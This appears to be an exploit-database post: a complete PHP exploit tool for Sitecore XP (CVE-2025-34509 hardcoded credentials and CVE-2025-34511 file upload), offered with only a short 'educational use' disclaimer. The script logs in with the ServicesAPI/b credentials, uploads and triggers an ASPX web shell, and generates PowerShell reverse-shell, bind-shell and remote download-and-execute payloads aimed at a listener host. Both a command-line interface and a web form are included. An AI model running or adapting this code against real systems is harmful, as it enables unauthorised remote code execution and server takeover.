============================================================================================================================================= | # Title : Sitecore Experience Manager (XM) and Experience Platform (XP) v 10.1 File Upload & Hardcoded Credentials | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.sitecore.com/ | ============================================================================================================================================= [+] Summary : Critical Remote Code Execution vulnerability chain affecting Sitecore Experience Platform versions 10.0.0 through 10.4.x combining hardcoded credentials with file upload vulnerabilities for complete system compromise. [+] POC : php poc.php or http://127.0.0.1/poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; $this->cookies = []; $this->is_logged = false; $this->is_elevated = false; $this->webshell = null; $this->item_uri = null; } public function check() { echo "[*] Checking Sitecore XP vulnerability...\n"; if (!$this->login_identitysrv('ServicesAPI', 'b')) { echo "[-] Could not log in, application might not be Sitecore\n"; return "unknown"; } $this->is_logged = true; echo "[+] Successfully logged in with hardcoded credentials\n"; if (!$this->get_identity_cookies()) { echo "[-] Could not get elevated cookies\n"; return "safe"; } $this->is_elevated = true; echo "[+] Obtained elevated cookies\n"; $res = $this->send_request( '/sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx', 'GET', ['hdl' => '1245516121'] ); if (!$res || $res['code'] != 200) { echo "[-] PowerShell extension not detected\n"; return "safe"; } echo "[+] ✓ PowerShell extension detected - target is vulnerable\n"; $version = $this->get_version(); if ($version) { echo "[+] Sitecore version: $version\n"; } return "vulnerable"; } private function login_identitysrv($username, $password) { $login_data = [ 'username' => $username, 'password' => $password, 'grant_type' => 'password', 'scope' => 'openid profile sitecore.profile api offline_access', 'client_id' => 'SitecoreShell', 'client_secret' => 'secret' ]; $res = $this->send_request( '/identity/connect/token', 'POST', [], http_build_query($login_data), ['Content-Type: application/x-www-form-urlencoded'] ); if ($res && $res['code'] == 200) { $json = json_decode($res['body'], true); if (isset($json['access_token'])) { $this->cookies['access_token'] = $json['access_token']; return true; } } return false; } private function get_identity_cookies() { $headers = [ 'Authorization: Bearer ' . $this->cookies['access_token'] ]; $res = $this->send_request( '/identity/connect/authorize', 'GET', [ 'client_id' => 'SitecoreShell', 'scope' => 'openid profile sitecore.profile api offline_access', 'response_type' => 'code', 'redirect_uri' => $this->build_url('/sitecore/login?returnUrl=%2fsitecore'), 'state' => $this->random_text(10), 'nonce' => $this->random_text(10) ], null, $headers ); if ($res && $res['code'] == 302) { if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $res['headers'], $matches)) { for ($i = 0; $i < count($matches[1]); $i++) { $this->cookies[$matches[1][$i]] = $matches[2][$i]; } return true; } } return false; } private function get_version() { $res = $this->send_request('/sitecore'); if ($res && $res['code'] == 200) { // Try to extract version from page if (preg_match('/Sitecore\s*([0-9]+\.[0-9]+\.[0-9]+)/i', $res['body'], $matches)) { return $matches[1]; } } return "Unknown"; } private function upload_webshell() { $this->webshell = $this->random_text(15) . '.aspx'; $this->item_uri = $this->random_text(8); $aspx_shell = $this->generate_aspx_shell(); $boundary = '----WebKitFormBoundary' . $this->random_text(16); $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"ItemUri\"\r\n\r\n"; $data .= "{$this->item_uri}\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"LanguageName\"\r\n\r\n"; $data .= "en\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"Overwrite\"\r\n\r\n"; $data .= "0\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"Unpack\"\r\n\r\n"; $data .= "0\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"Versioned\"\r\n\r\n"; $data .= "en\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"{$this->item_uri}\"; filename=\"{$this->webshell}\"\r\n"; $data .= "Content-Type: text/plain\r\n\r\n"; $data .= $aspx_shell . "\r\n"; $data .= "--{$boundary}--\r\n"; $headers = [ "Content-Type: multipart/form-data; boundary={$boundary}", "Content-Length: " . strlen($data) ]; $cookie_header = $this->build_cookie_header(); if ($cookie_header) { $headers[] = $cookie_header; } $res = $this->send_request( '/sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx', 'POST', ['hdl' => '1245516121'], $data, $headers ); return $res && $res['code'] == 200; } private function generate_aspx_shell($payload_type = 'cmd', $lhost = null, $lport = null) { $command = $this->generate_payload($payload_type, $lhost, $lport); $aspx = '<%@ Page Language="C#" %>'; $aspx .= '<%@ Import Namespace="System.Diagnostics" %>'; $aspx .= '<%@ Import Namespace="System.IO" %>'; $aspx .= ''; return $aspx; } private function trigger_webshell() { if (!$this->webshell || !$this->item_uri) { return false; } $res = $this->send_request( "/sitecore%20modules/Shell/PowerShell/UploadFile/{$this->item_uri}/{$this->webshell}", 'GET' ); return $res !== false; } public function exploit($payload_type = 'cmd', $lhost = null, $lport = null) { echo "[*] Starting Sitecore XP exploitation...\n"; if (!$this->is_logged && !$this->login_identitysrv('ServicesAPI', 'b')) { echo "[-] Failed to log in with hardcoded credentials\n"; return false; } $this->is_logged = true; echo "[+] Logged in successfully\n"; if (!$this->is_elevated && !$this->get_identity_cookies()) { echo "[-] Failed to get elevated cookies\n"; return false; } $this->is_elevated = true; echo "[+] Obtained elevated cookies\n"; echo "[*] Uploading web shell...\n"; if (!$this->upload_webshell()) { echo "[-] Failed to upload web shell\n"; return false; } echo "[+] Web shell uploaded: {$this->webshell}\n"; echo "[*] Triggering web shell execution...\n"; if ($this->trigger_webshell()) { echo "[+] ✓ Web shell triggered successfully\n"; echo "[*] Check your listener for connection\n"; return true; } else { echo "[-] Failed to trigger web shell\n"; return false; } } private function generate_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': if (!$lhost || !$lport) { return 'whoami & hostname & ipconfig'; } return "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};\$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (pwd).Path + '> ');\$stream.Write(\$sendbytes,0,\$sendbytes.Length);while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);}\""; case 'bind_shell': if (!$lport) { return 'whoami & hostname & systeminfo'; } return "powershell -nop -c \"\$listener = New-Object System.Net.Sockets.TcpListener({$lport});\$listener.Start();while(\$true){\$client = \$listener.AcceptTcpClient();\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};\$data = \$stream.Read(\$bytes, 0, \$bytes.Length);\$input = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$data);\$sendback = (iex \$input 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);}\""; case 'meterpreter': if (!$lhost || !$lport) { return 'whoami & hostname'; } return "powershell -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://{$lhost}:8080/payload.ps1')\""; case 'cmd': default: return 'whoami & hostname & ipconfig & dir C:\\'; } } private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) { $url = $this->build_url($path); if ($method == 'GET' && !empty($params)) { $url .= '?' . http_build_query($params); } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_HEADER => true, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_FOLLOWLOCATION => false ]); if ($method == 'POST' && $data) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $headers = array_merge([ 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ], $custom_headers); $cookie_header = $this->build_cookie_header(); if ($cookie_header) { $headers[] = $cookie_header; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response) { $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); return [ 'code' => $http_code, 'headers' => $headers, 'body' => $body ]; } return false; } private function build_cookie_header() { if (empty($this->cookies)) { return null; } $cookie_parts = []; foreach ($this->cookies as $name => $value) { $cookie_parts[] = "{$name}={$value}"; } return 'Cookie: ' . implode('; ', $cookie_parts); } private function random_text($length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $chars[rand(0, strlen($chars) - 1)]; } return $result; } private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } } if (php_sapi_name() === 'cli') { echo " ╔══════════════════════════════════════════════════════════════╗ ║ Sitecore XP RCE Exploit ║ ║ CVE-2025-34511 & CVE-2025-34509 ║ ║ PHP Implementation ║ ╚══════════════════════════════════════════════════════════════╝ \n"; $options = getopt("t:p:s:u:c:P:L:H:", [ "target:", "port:", "ssl", "uri:", "check", "payload:", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 443; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/'; $check_only = isset($options['c']) || isset($options['check']); $payload_type = $options['P'] ?? $options['payload'] ?? 'cmd'; $lhost = $options['H'] ?? $options['lhost'] ?? null; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php sitecore_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 443)\n"; echo " -s, --ssl Use SSL (default: true)\n"; echo " -u, --uri Base URI path (default: /)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -P, --payload Payload type: cmd, reverse_shell, bind_shell, meterpreter (default: cmd)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell (default: 4444)\n"; echo "\nExamples:\n"; echo " php sitecore_exploit.php -t 192.168.1.100 -c\n"; echo " php sitecore_exploit.php -t sitecore.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n"; exit(1); } $exploit = new SitecoreXPExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit($payload_type, $lhost, $lport)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 443; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; $payload_type = $_POST['payload_type'] ?? 'cmd'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if (empty($target)) { echo "
Target host is required
"; } else { $exploit = new SitecoreXPExploit($target, $port, $ssl, $base_uri); ob_start(); if ($action === 'check') { $exploit->check(); } else { $exploit->exploit($payload_type, $lhost, $lport); } $output = ob_get_clean(); echo "
$output
"; } echo 'Back to Form'; } else { echo ' Sitecore XP RCE Exploit

Sitecore XP RCE Exploit

CVE-2025-34511 & CVE-2025-34509 - File Upload & Hardcoded Credentials

Educational Use Only: This tool demonstrates critical vulnerabilities in Sitecore XP. Use only on systems you own or have explicit permission to test.

About the CVEs:

CVE-2025-34509: Hardcoded credentials for ServicesAPI account (username: ServicesAPI, password: b)

CVE-2025-34511: File upload vulnerability in PowerShell extensions

Affected Versions: Sitecore XP 10.0.0 to 10.4.x

Impact: Remote Code Execution via file upload

Exploit Chain: Hardcoded Credentials → Authentication → File Upload → RCE

'; } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================